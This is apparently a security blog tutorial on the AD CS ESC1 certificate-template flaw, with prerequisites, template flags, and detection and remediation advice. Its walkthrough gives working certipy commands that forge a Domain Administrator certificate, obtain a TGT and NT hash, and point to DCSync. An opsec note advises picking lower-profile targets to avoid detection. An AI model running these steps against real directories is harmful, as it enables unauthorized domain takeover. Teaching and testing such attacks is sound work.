AD CS ESC1: Vulnerable Certificate Template Enrollment

AD CS ESC1: Vulnerable Certificate Template Enrollment - article cover image Active Directory
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Active Directory Certificate Services (AD CS) is Microsoft’s enterprise PKI, and certificate templates are the reusable policies that decide who may enroll for what kind of certificate. ESC1 is the first and most iconic of the certificate-template misconfigurations catalogued in SpecterOps’ 2021 ‘Certified Pre-Owned’ research. It occurs when a template lets a low-privileged enrollee supply their own subject — specifically a Subject Alternative Name (SAN) — while also issuing a certificate valid for client authentication, with no manager approval standing in the way. The result is domain-wide account takeover: an ordinary user requests a certificate that names the Domain Administrator, then logs in as them.

The reason ESC1 is so severe is that a certificate is a portable, long-lived credential that Kerberos will honour via PKINIT. Unlike a stolen password, a certificate cannot be trivially rotated, survives password changes, and by default remains valid for a year or more. One vulnerable template exposed to ‘Domain Users’ collapses the entire domain’s trust boundary, which is why certipy’s find -vulnerable flags it in red and why AD CS review is now a standard phase of every internal assessment.

Attack Prerequisites

ESC1 requires an enterprise CA publishing a template that simultaneously satisfies every one of the following conditions — remove any one and the attack fails:

  • Enrollment rights for a principal you control — the template’s security descriptor grants Enroll (and the CA grants enroll) to a low-privileged group such as Domain Users or Authenticated Users.
  • Enrollee-supplied subject — the template sets the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bit in msPKI-Certificate-Name-Flag, so the requester dictates the SAN rather than the CA building it from AD.
  • An authentication EKU — the template’s Extended Key Usage includes Client Authentication (1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (1.3.6.1.4.1.311.20.2.2), or Any Purpose / no EKU restriction.
  • No manager approvalCT_FLAG_PEND_ALL_REQUESTS is not set in msPKI-Enrollment-Flag, so certificates issue automatically.
  • No ‘authorized signature’ requirement — the template does not demand an enrollment agent co-signature (msPKI-RA-Signature = 0).

How It Works

When a certificate is used to authenticate to Active Directory — over PKINIT for Kerberos, or Schannel for LDAPS — the KDC maps the certificate to an account. For enterprise templates the CA normally *builds* the subject and SAN from the requesting account’s AD attributes, so identity is anchored to who you already are. The enrollee-supplies-subject flag inverts that: the requester places an arbitrary otherName/UPN into the SAN of the CSR, and the CA copies it verbatim into the issued certificate. Identity is now attacker-asserted rather than CA-derived.

The KDC, on receiving a PKINIT request, reads the UPN from the certificate’s SAN and issues a TGT for whatever account owns that UPN. Nothing checks that the *enrollee* was that account — the certificate is trusted because it chains to a CA in the NTAuth store. So a certificate whose SAN says administrator@corp.local, requested by jdoe, authenticates as the Domain Administrator. The Client Authentication EKU is what makes the certificate acceptable for that logon; without an auth EKU the KDC/Schannel would reject it (that distinction is the difference between ESC1 and the enrollment-agent variant ESC3, or the EKU-less ESC2).

Everything downstream flows from that single SAN substitution. Because the certificate is a bearer credential valid for the template’s lifetime, the attacker keeps privileged access independent of the target’s password, and — via the PKINIT PAC — can additionally recover the target’s NT hash with an UnPAC-the-hash step, exactly as in the Shadow Credentials chain.

Vulnerable Configuration: The Template Flags

Certipy’s find distils the raw LDAP template object into the exact properties that matter. A textbook ESC1 template looks like this — note the enrollee-supplied subject, the Client Authentication EKU, disabled manager approval, and enrollment open to Domain Users:

Certificate Templates
  0
    Template Name                       : ESC1-UserAuth
    Enabled                             : True
    Client Authentication               : True
    Enrollee Supplies Subject           : True
    Requires Manager Approval           : False
    Authorized Signatures Required      : 0
    Extended Key Usage                  : Client Authentication
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CORP.LOCAL\Domain Users
    [!] Vulnerabilities
      ESC1 : Enrollee supplies subject and can request client-auth certs
TEXT

Underneath, ESC1 is two attribute values on the template object in the Configuration partition. The name flag carries the enrollee-supplies-subject bit (0x00000001) and the enrollment flag lacks the pend-all-requests bit — the raw LDAP attributes look like this:

CN=ESC1-UserAuth,CN=Certificate Templates,CN=Public Key Services,
  CN=Services,CN=Configuration,DC=corp,DC=local

msPKI-Certificate-Name-Flag : 0x1        # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
msPKI-Enrollment-Flag       : 0x0        # PEND_ALL_REQUESTS (0x2) NOT set
msPKI-RA-Signature          : 0          # no enrollment-agent co-sign
pKIExtendedKeyUsage         : 1.3.6.1.5.5.7.3.2   # Client Authentication
TEXT

The CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bit combined with an authentication EKU is the entire bug: it lets any enrollee assert an arbitrary identity in a credential the domain will trust.

Walkthrough / Exploitation

First enumerate the PKI and let certipy flag vulnerable templates. Running as any domain user is sufficient:

# Enumerate CAs and templates; -vulnerable filters to abusable ones.
certipy find -u jdoe@corp.local -p 'Passw0rd!' \
    -dc-ip 10.10.10.10 -vulnerable -stdout
Bash

Request a certificate from the vulnerable template, injecting the target identity into the SAN with -upn. Certipy submits the CSR to the CA and saves the issued certificate and private key as a .pfx:

# Ask the CA for a cert whose SAN names the Domain Administrator.
certipy req -u jdoe@corp.local -p 'Passw0rd!' -dc-ip 10.10.10.10 \
    -ca 'CORP-CA' -template 'ESC1-UserAuth' \
    -upn administrator@corp.local
# -> saves administrator.pfx
Bash

Authenticate with the certificate. certipy auth performs the PKINIT exchange, returns a TGT, and — because the PAC carries the NTLM secret — prints the target’s NT hash as well:

# PKINIT with the forged-SAN cert -> TGT + NT hash for the target.
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# -> [*] Got TGT ; [*] Got hash for 'administrator@corp.local': aad3b...:<NT>
Bash

From here the TGT (saved as a ccache) or the recovered hash drives onward movement — DCSync, a pass-the-hash to the DC, or a pass-the-ticket for any service. When targeting a machine account, request with -dns/-dc appropriate to the SAN type; the same flow yields impersonation of a computer.

Note: ESC1 is defined by the *enrollee* supplying the SAN. Its close cousins differ by exactly one condition: ESC2 uses an Any-Purpose or SubCA EKU instead of client-auth; ESC3 abuses the Certificate Request Agent EKU to enroll on behalf of others; and ESC15/CVE-2024-49019 abused v1 ‘EnrollmentAgent’ schema templates to inject application policies. Confirm which one you actually have before choosing the request syntax.

Opsec: Every issued certificate is recorded in the CA database and can be revoked by an administrator, but revocation does not retroactively invalidate a TGT you already obtained. Requesting a cert for a highly privileged UPN is a strong IOC; where possible target a mid-tier account that still reaches your objective, and remember the cert remains a valid credential across the target’s password changes until it expires or the CA cert is rotated.

Detection and Defense

Detection combines CA-side issuance logging with directory monitoring of template ACLs; defense is to remove the dangerous flag combination outright:

  • Event ID 4886 / 4887 on the CA (certificate requested / issued) — alert on issuance from enrollee-supplies-subject templates and on SANs that name privileged accounts.
  • Event ID 4768 — Kerberos TGT requests using certificate pre-auth; correlate against your known smart-card / PKINIT population.
  • Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT on any template that also has an authentication EKU, or require manager approval (CT_FLAG_PEND_ALL_REQUESTS) / an enrollment-agent signature.
  • Tighten enrollment rights — do not grant Enroll to Domain Users / Authenticated Users on client-auth templates; scope to a controlled group.
  • Enable strong certificate mapping — deploy the KB5014754 SID-in-certificate (szOID 1.3.6.1.4.1.311.25.2) enforcement so a SAN cannot silently impersonate an account, and audit the NTAuth store.
  • Run certipy find -vulnerable / PSPKIAudit regularly and treat any ESC1 finding as critical.

Real-World Impact

ESC1 was introduced in Will Schroeder and Lee Christensen’s June 2021 ‘Certified Pre-Owned’ whitepaper, which catalogued the ESC1-ESC8 family and spawned Certipy and the AD CS ingestor in BloodHound. It has since been one of the most reliably impactful findings on internal engagements, because enterprise PKIs accumulate over-permissive templates over years and a single one exposed to Domain Users yields immediate domain compromise. Microsoft’s response — the KB5014754 phased hardening of certificate-based authentication and strong SID mapping — directly targets the SAN-impersonation primitive that ESC1 depends on.

Conclusion

ESC1 is the canonical AD CS escalation: an authentication-capable template that lets ordinary users write their own SAN turns the enterprise PKI into a domain-admin vending machine. The fix is unambiguous — never combine enrollee-supplied subjects with a client-authentication EKU on a template enrollable by low-privileged users, require approval where subjects are flexible, and enforce strong SID-based certificate mapping. Audit templates with certipy on a schedule, because in AD CS one misconfigured object is all an attacker needs.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL